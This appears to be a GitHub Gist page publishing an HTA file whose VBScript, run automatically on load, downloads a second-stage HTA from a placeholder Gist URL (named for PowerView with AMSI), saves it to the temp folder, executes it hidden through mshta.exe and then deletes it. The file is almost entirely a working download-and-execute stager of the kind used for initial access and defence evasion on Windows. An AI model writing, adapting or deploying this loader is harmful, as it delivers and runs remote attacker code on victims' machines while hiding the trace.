Last active
June 18, 2025 14:10
-
-
Save 0xHossam/bf939c23dafabddad6157fb434601da0 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<title>Execute Gist HTA</title> | |
<HTA:APPLICATION | |
APPLICATIONNAME="Execute Gist HTA" | |
ID="ExecuteGistHTA" | |
VERSION="1.0" | |
BORDER="thin" | |
BORDERSTYLE="normal" | |
INNERBORDER="no" | |
CAPTION="yes" | |
SYSMENU="yes" | |
MAXIMIZEBUTTON="no" | |
MINIMIZEBUTTON="yes" | |
SHOWINTASKBAR="yes" | |
SINGLEINSTANCE="yes" | |
WINDOWSTATE="normal"/> | |
</head> | |
<body> | |
<script language="VBScript"> | |
Sub Window_OnLoad | |
Dim shell, fso, http, tempPath, htaPath, command, retries, maxRetries | |
Set shell = CreateObject("WScript.Shell") | |
Set fso = CreateObject("Scripting.FileSystemObject") | |
Set http = CreateObject("MSXML2.XMLHTTP") | |
' Define the GitHub Gist URL for the secondary HTA | |
' Replace with your actual Gist URL | |
Dim gistUrl | |
gistUrl = "https://gist.githubusercontent.com/<username>/<gist-id>/raw/DownloadPowerViewWithAMSI.hta" | |
' Define temporary path for the downloaded HTA | |
tempPath = shell.ExpandEnvironmentStrings("%TEMP%") | |
htaPath = tempPath & "\DownloadPowerViewWithAMSI.hta" | |
' Download the HTA with retries | |
maxRetries = 3 | |
retries = 0 | |
On Error Resume Next | |
Do While retries < maxRetries | |
http.Open "GET", gistUrl, False | |
http.Send | |
If http.Status = 200 Then | |
Dim stream | |
Set stream = CreateObject("ADODB.Stream") | |
stream.Open | |
stream.Type = 1 ' Binary | |
stream.Write http.ResponseBody | |
stream.SaveToFile htaPath, 2 ' Overwrite | |
stream.Close | |
If fso.FileExists(htaPath) Then | |
command = "mshta.exe """ & htaPath & """" | |
shell.Run command, 0, True | |
MsgBox "Secondary HTA executed from Gist.", 64, "Execution Status" | |
If fso.FileExists(htaPath) Then fso.DeleteFile htaPath | |
Exit Do | |
Else | |
MsgBox "Failed to save the HTA file.", 16, "Error" | |
Exit Do | |
End If | |
Else | |
retries = retries + 1 | |
If retries = maxRetries Then | |
MsgBox "Failed to download HTA from Gist after " & maxRetries & " attempts. Status: " & http.Status, 16, "Error" | |
Exit Do | |
End If | |
WScript.Sleep 2000 | |
End If | |
Loop | |
On Error Goto 0 | |
window.close | |
End Sub | |
</script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment